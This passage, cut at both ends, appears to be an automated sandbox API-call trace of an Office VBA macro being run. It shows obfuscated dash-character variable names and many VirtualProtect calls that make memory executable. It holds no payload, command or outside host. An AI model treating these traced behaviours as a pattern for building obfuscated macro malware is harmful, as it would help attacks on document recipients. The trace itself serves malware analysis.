dwFlags=0x0, lpMultiByteStr=0x11280856, cbMultiByte=12, lpWideCharStr=0x197724, cchWideChar=13 | out: lpWideCharStr="–—–——––——––") returned 12 [0095.101] CRetailMalloc_Alloc () returned 0xc8794b0 [0095.101] _mbscpy_s (in: _Dst=0xc8794b0, _DstSizeInBytes=0xc, _Src=0x11280856 | out: _Dst=0xc8794b0) returned 0x0 [0095.101] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="_B_var_\x96\x96\x96\x97\x96\x97\x96\x97\x96\x96\x96", cchCount1=-1, lpString2="_B_var_\x96\x97\x96\x97\x97\x96\x96\x97\x97\x96\x96", cchCount2=-1) returned 1 [0095.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280cd2, cbMultiByte=19, lpWideCharStr=0x197734, cchWideChar=20 | out: lpWideCharStr="_B_var_–—–——––——––") returned 19 [0095.102] _mbscpy_s (in: _Dst=0x19779c, _DstSizeInBytes=0xc, _Src=0x11280856 | out: _Dst=0x19779c) returned 0x0 [0095.102] CRetailMalloc_Free () returned 0x1 [0095.102] memcpy (in: _Dst=0xfa54f3c, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0095.102] memcpy (in: _Dst=0xfa54f3c, _Src=0x1978dc, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0095.102] memcpy (in: _Dst=0xfa54f38, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.102] memcpy (in: _Dst=0xfa55040, _Src=0x1978c4, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0095.102] memcpy (in: _Dst=0xfa54f38, _Src=0x197714, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.102] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c0922, cbMultiByte=9, lpWideCharStr=0x1976c4, cchWideChar=10 | out: lpWideCharStr="DoEvents") returned 9 [0095.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc90922, cbMultiByte=9, lpWideCharStr=0x197724, cchWideChar=10 | out: lpWideCharStr="DoEvents") returned 9 [0095.103] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.103] memcpy (in: _Dst=0xfa54f3c, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0095.103] memcpy (in: _Dst=0xfa54f38, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6955ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0095.104] memcpy (in: _Dst=0xcaec870, _Src=0x197944, _Size=0x18 | out: _Dst=0xcaec870) returned 0xcaec870 [0095.104] CRetailMalloc_Realloc () returned 0xcaec808 [0095.104] CRetailMalloc_Free () returned 0x1 [0095.105] GetCurrentProcess () returned 0xffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0095.105] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0095.105] GetCurrentProcess () returned 0xffffffff [0095.105] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0095.105] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0095.106] GetCurrentProcess () returned 0xffffffff [0095.106] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0095.106] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.107] GetCurrentProcess () returned 0xffffffff [0095.107] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0095.107] GetCurrentProcess () returned 0xffffffff [0095.107] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0095.107] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.108] GetCurrentProcess () returned 0xffffffff [0095.108] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0095.108] GetCurrentProcess () returned 0xffffffff [0095.108] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0095.108] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.108] GetCurrentProcess () returned 0xffffffff [0095.108] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0095.109] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0095.109] GetCurrentProcess () returned 0xffffffff [0095.109] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0095.109] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0095.110] GetCurrentProcess () returned 0xffffffff [0095.110] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0095.110] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0095.111] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0095.112] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.112] GetCurrentProcess () returned 0xffffffff [0095.112] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0095.112] GetCurrentProcess () returned 0xffffffff [0095.112] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0095.112] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.113] GetCurrentProcess () returned 0xffffffff [0095.113] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0095.113] GetCurrentProcess () returned 0xffffffff [0095.113] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0095.113] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.113] GetCurrentProcess () returned 0xffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0095.114] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0095.114] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0095.115] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0095.116] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0095.117] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0095.118] GetCurrentProcess () returned 0xffffffff [0095.118] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0095.118] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.118] GetCurrentProcess () returned 0xffffffff [0095.118] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0095.118] GetCurrentProcess () returned 0xffffffff [0095.118] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0095.118] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0095.119] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0095.120] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffff [0095.121] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0095.121] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.121] GetCurrentProcess () returned 0xffffffff [0095.122] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0095.122] GetCurrentProcess () returned 0xffffffff [0095.122] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0095.122] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.122] GetCurrentProcess () returned 0xffffffff [0095.122] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0095.122] GetCurrentProcess () returned 0xffffffff [0095.122] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0095.122] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.123] GetCurrentProcess () returned 0xffffffff [0095.123] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0095.123] GetCurrentProcess () returned 0xffffffff [0095.123] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0095.123] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.124] GetCurrentProcess () returned 0xffffffff [0095.124] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0095.124] GetCurrentProcess () returned 0xffffffff [0095.124] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0095.124] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.124] GetCurrentProcess () returned 0xffffffff [0095.124] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0095.124] GetCurrentProcess () returned 0xffffffff [0095.124] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0095.125] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.125] GetCurrentProcess () returned 0xffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0095.125] GetCurrentProcess () returned 0xffffffff [0095.125] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0095.125] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.126] GetCurrentProcess () returned 0xffffffff [0095.126] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0095.126] GetCurrentProcess () returned 0xffffffff [0095.126] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0095.126] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0095.127] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0095.127] GetCurrentProcess () returned 0xffffffff [0095.127] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0095.127] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0095.128] GetCurrentProcess () returned 0xffffffff [0095.128] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0095.128] SetErrorMode (uMode=0x8001) returned 0x8001 [0095.128] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0095.128] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x69320000 [0095.129] SetErrorMode (uMode=0x8001) returned 0x8001 [0095.129] GetProcAddress (hModule=0x69320000, lpProcName=0x256) returned 0x693274be [0095.131] GetAsyncKeyState (vKey=3) returned 0 [0095.131] CRetailMalloc_Alloc () returned 0xcaec8b8 [0095.131] memcpy (in: _Dst=0xfa54f38, _Src=0x1977c8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.131] memcpy (in: _Dst=0xfa55040, _Src=0x1977e4, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0095.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2f92, cbMultiByte=6, lpWideCharStr=0x1975e4, cchWideChar=7 | out: lpWideCharStr="Timer") returned 6 [0095.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112808de, cbMultiByte=6, lpWideCharStr=0x197644, cchWideChar=7 | out: lpWideCharStr="Timer") returned 6 [0095.132] memcpy (in: _Dst=0xfa54f38, _Src=0x1977c8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.133] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x97\x96\x97\x96\x96\x96\x96\x96\x96\x96\x96\x97\x96\x96", cchCount1=-1, lpString2="\x97\x96\x97\x97\x96\x97\x96\x97\x97\x96\x97\x97\x96\x97\x96", cchCount2=-1) returned 3 [0095.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2fb6, cbMultiByte=16, lpWideCharStr=0x1975e4, cchWideChar=17 | out: lpWideCharStr="—–——–—–——–——–—–") returned 16 [0095.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112808b2, cbMultiByte=16, lpWideCharStr=0x197644, cchWideChar=17 | out: lpWideCharStr="—–——–—–——–——–—–") returned 16 [0095.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112808b2, cbMultiByte=16, lpWideCharStr=0x197644, cchWideChar=17 | out: lpWideCharStr="—–——–—–——–——–—–") returned 16 [0095.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112808b2, cbMultiByte=16, lpWideCharStr=0x197644, cchWideChar=17 | out: lpWideCharStr="—–——–—–——–——–—–") returned 16 [0095.134] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x97\x96\x97\x96\x96\x96\x96\x96\x96\x96\x96\x97\x96\x96", cchCount1=-1, lpString2="\x97\x96\x97\x97\x96\x97\x96\x97\x97\x96\x97\x97\x96\x97\x96", cchCount2=-1) returned 3 [0095.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112808b2, cbMultiByte=16, lpWideCharStr=0x197644, cchWideChar=17 | out: lpWideCharStr="—–——–—–——–——–—–") returned 16 [0095.134] CRetailMalloc_Alloc () returned 0xc8797d0 [0095.134] _mbscpy_s (in: _Dst=0xc8797d0, _DstSizeInBytes=0x10, _Src=0x112808b2 | out: _Dst=0xc8797d0) returned 0x0 [0095.134] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="_B_var_\x97\x97\x96\x97\x96\x96\x96\x96\x96\x96\x96\x96\x97\x96\x96", cchCount1=-1, lpString2="_B_var_\x97\x96\x97\x97\x96\x97\x96\x97\x97\x96\x97\x97\x96\x97\x96", cchCount2=-1) returned 3 [0095.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280d02, cbMultiByte=23, lpWideCharStr=0x197654, cchWideChar=24 | out: lpWideCharStr="_B_var_—–——–—–——–——–—–") returned 23 [0095.135] _mbscpy_s (in: _Dst=0x1976bc, _DstSizeInBytes=0x10, _Src=0x112808b2 | out: _Dst=0x1976bc) returned 0x0 [0095.135] CRetailMalloc_Free () returned 0x1 [0095.136] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0095.137] memcpy (in: _Dst=0xfa54f38, _Src=0x1977c8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.137] memcpy (in: _Dst=0xfa54f38, _Src=0x197634, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.137] memcpy (in: _Dst=0xfa54f38, _Src=0x197634, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.137] memcpy (in: _Dst=0xfa54f38, _Src=0x197634, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.137] memcpy (in: _Dst=0xfa54f38, _Src=0x1977c8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.137] memcpy (in: _Dst=0xfa54f38, _Src=0x1977c8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6955ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0095.137] memcpy (in: _Dst=0xcaec92c, _Src=0x197864, _Size=0x18 | out: _Dst=0xcaec92c) returned 0xcaec92c [0095.137] CRetailMalloc_Realloc () returned 0xcaec8b8 [0095.138] CRetailMalloc_Free () returned 0x1 [0095.138] GetCurrentProcess () returned 0xffffffff [0095.138] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0095.138] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.138] GetCurrentProcess () returned 0xffffffff [0095.138] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0095.139] GetCurrentProcess () returned 0xffffffff [0095.139] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0095.139] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.139] GetCurrentProcess () returned 0xffffffff [0095.139] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0095.139] GetCurrentProcess () returned 0xffffffff [0095.139] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0095.139] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.140] GetCurrentProcess () returned 0xffffffff [0095.140] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0095.140] GetCurrentProcess () returned 0xffffffff [0095.140] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0095.140] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.141] GetCurrentProcess () returned 0xffffffff [0095.141] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0095.141] GetCurrentProcess () returned 0xffffffff [0095.141] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0095.141] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.141] GetCurrentProcess () returned 0xffffffff [0095.142] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0095.142] GetCurrentProcess () returned 0xffffffff [0095.142] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0095.142] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.142] GetCurrentProcess () returned 0xffffffff [0095.142] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0095.142] GetCurrentProcess () returned 0xffffffff [0095.142] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0095.142] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.143] GetCurrentProcess () returned 0xffffffff [0095.143] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0095.143] GetCurrentProcess () returned 0xffffffff [0095.143] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0095.143] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.144] GetCurrentProcess () returned 0xffffffff [0095.144] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0095.144] GetCurrentProcess () returned 0xffffffff [0095.144] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0095.144] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: 